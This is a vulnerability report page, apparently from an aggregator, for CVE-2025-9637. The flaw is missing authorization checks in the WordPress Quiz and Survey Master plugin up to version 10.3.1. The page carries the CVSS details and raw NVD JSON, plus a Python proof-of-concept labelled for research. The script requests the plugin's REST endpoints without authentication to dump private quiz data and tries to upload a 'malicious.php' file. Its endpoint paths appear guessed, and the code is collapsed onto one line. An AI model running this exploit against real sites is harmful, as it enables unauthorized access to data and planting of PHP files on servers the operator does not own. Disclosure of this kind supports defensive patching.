Security Vulnerability Report
δΈ­ζ–‡
CVE-2025-9637 CVSS 6.5 MEDIUM

CVE-2025-9637

Published: 2026-01-06 10:15:49
Last Modified: 2026-01-09 13:25:57

Description

The Quiz and Survey Master (QSM) – Easy Quiz and Survey Maker plugin for WordPress is vulnerable to unauthorized access and modification of data due to a missing capability and status checks on multiple functions in all versions up to, and including, 10.3.1. This makes it possible for unauthenticated attackers to view the details of unpublished, private, or password-protected quizzes, as well as submit file responses to questions from those quizzes, which allow file upload.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:expresstech:quiz_and_survey_master:*:*:*:*:*:wordpress:*:* - VULNERABLE
Quiz and Survey Master (QSM) <= 10.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-9637 PoC - Unauthenticated access to QSM quizzes # Target: WordPress site with Quiz and Survey Master plugin <= 10.3.1 def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2025-9637""" # Try to access quiz list without authentication endpoints = [ f"{target_url}/?rest_route=/qsm/v1/quizzes", f"{target_url}/wp-json/qsm/v1/quizzes", f"{target_url}/?rest_route=/qsm/v1/quiz/1" ] vulnerable = False results = [] for endpoint in endpoints: try: response = requests.get(endpoint, timeout=10) if response.status_code == 200: data = response.json() if data: vulnerable = True results.append(f"[+] Vulnerable endpoint found: {endpoint}") results.append(f"[+] Response data: {json.dumps(data, indent=2)}") elif response.status_code == 401: results.append(f"[-] Protected: {endpoint}") except Exception as e: results.append(f"[!] Error: {e}") return vulnerable, results def exploit_file_upload(target_url, quiz_id=1): """Attempt to upload file to vulnerable quiz""" upload_endpoint = f"{target_url}/?rest_route=/qsm/v1/upload" files = { 'file': ('malicious.php', '<?php phpinfo(); ?>', 'application/x-php') } data = { 'quiz_id': quiz_id } try: response = requests.post(upload_endpoint, files=files, data=data, timeout=10) if response.status_code in [200, 201, 202]: return True, response.text return False, response.text except Exception as e: return False, str(e) if __name__ == "__main__": import sys if len(sys.argv) > 1: target = sys.argv[1] print(f"[*] Testing {target} for CVE-2025-9637...") is_vuln, details = check_vulnerability(target) for d in details: print(d) if is_vuln: print("\n[!] Target is VULNERABLE to CVE-2025-9637") else: print("Usage: python cve-2025-9637.py <target_url>")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9637", "sourceIdentifier": "[email protected]", "published": "2026-01-06T10:15:48.940", "lastModified": "2026-01-09T13:25:57.263", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Quiz and Survey Master (QSM) – Easy Quiz and Survey Maker plugin for WordPress is vulnerable to unauthorized access and modification of data due to a missing capability and status checks on multiple functions in all versions up to, and including, 10.3.1. This makes it possible for unauthenticated attackers to view the details of unpublished, private, or password-protected quizzes, as well as submit file responses to questions from those quizzes, which allow file upload."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:expresstech:quiz_and_survey_master:*:*:*:*:*:wordpress:*:*", "versionEndExcluding": "10.3.2", "matchCriteriaId": "7AECAB11-6DCA-4FCF-B614-133BB680CF29"}]}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/quiz-master-next/tags/10.2.6/php/classes/class-qmn-quiz-manager.php#L1987", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://plugins.trac.wordpress.org/browser/quiz-master-next/tags/10.2.6/php/classes/class-qmn-quiz-manager.php#L281", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://plugins.trac.wordpress.org/browser/quiz-master-next/tags/10.2.6/php/rest-api.php", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/88a9abf4-62a9-4695-87e7-18ff0b0075e9?source=cve", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}